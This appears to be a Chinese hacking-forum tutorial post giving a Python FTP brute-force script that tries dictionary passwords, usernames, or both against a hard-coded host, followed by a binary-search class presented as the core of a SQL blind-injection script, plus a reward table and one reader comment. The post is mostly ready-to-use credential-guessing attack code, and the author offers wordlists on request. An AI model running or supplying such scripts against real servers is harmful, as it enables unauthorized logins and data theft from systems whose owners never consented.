FTP暴力破解python脚本
首先导入模块
import ftplib
然后编写函数bruteLogin(hostname,username,passwd)
hostname:爆破的主机IP地址
userName:爆破使用的用户名
passWord:爆破使用的密码
def bruteLogin(hostname, userName, passWord):
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print("\n[*]" + str(hostname) + \
"FTP Logon Succeeded: " + userName + "/" + passWord)
ftp.quit()
return userName, passWord
except:
pass
passwd是爆破的密码字典
这个main()函数是用来爆破密码的
def main():
host = "192.168.10.105"
w = open('passwd.txt')
for i in w.readlines():
bruteLogin(host, 'test', i)
我们还可以更改main()函数来达到爆破用户名或者双爆破
爆破用户名:
def main():
host = "192.168.10.105"
w = open('username.txt')
for i in w.readlines():
bruteLogin(host, i, '123456')
双爆破:
def main():
host = "192.168.10.105"
u = open('username.txt')
p = open('passwd.txt')
for i in u.readlines():
for q in p.readlines():
bruteLogin(host, i, q)
完整版代码:
import ftplib
def bruteLogin(hostname, userName, passWord):
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print("\n[*]" + str(hostname) + \
"FTP Logon Succeeded: " + userName + "/" + passWord)
ftp.quit()
return userName, passWord
except:
pass
if __name__ == '__main__':
host = "192.168.10.105"
w = open('passwd.txt')
for i in w.readlines():
bruteLogin(host, 'test', i)
想要达到不同的效果只需要更改不同的main函数即可
字典文件有需要的话留言或者私信我
首先先定义类
第一个类方法是 duicuo()
duicuo()函数是使用时需要重写的函数
该函数的内容为判断我们给到的这个值是真还是假
比如我们要写一个SQL盲注的脚本
duicuo()函数就要写成获取页面内容
然后根据正则表达式或者其他什么来判断页面是否正常
页面正常返回 True
页面报错返回 False
不过不属于本章要描述的内容
这里就不多赘述
这里简单写一个 duicuo()方法
用于算法判断
class Dichotomy(object):
def duicuo(self, num):
res = requests.get(url)
valid = re.search("(有数据)", res.text)
if valid:
print(num)
return True
return False
def tow_num1(self, num=1):
num *= 2
if self.duicuo(num):
return self.tow_num1(num)
return [num / 2, num]
def tow_num2(self, num_):
c = (num_[1] + num_[0]) / 2
if self.duicuo(c):
num_[0] = c
else:
num_[1] = c
if num_[1] - num_[0] == 1:
return num_[1]
return self.tow_num2([num_[0], num_[1]])
def main(self):
list_ = self.tow_num1()
num = self.tow_num2(list_)
return num
if __name__ == '__main__':
c = Dichotomy()
q = c.main()
print(q)
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 20.00 | 0 | 2021-08-14 16:04:33 | 额外打赏-限时活动 |
Track-聂风 | 40.00 | 0 | 2021-08-14 16:04:23 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.
秋紫山
发表于 10个月前
二分法可以参照一下文章:https://poc.evalbug.com/chapter3/3-3.html
我自己也写过,觉得这个方法挺简洁。哈哈,一千个读者,一千个哈姆雷特。
评论列表
加载数据中...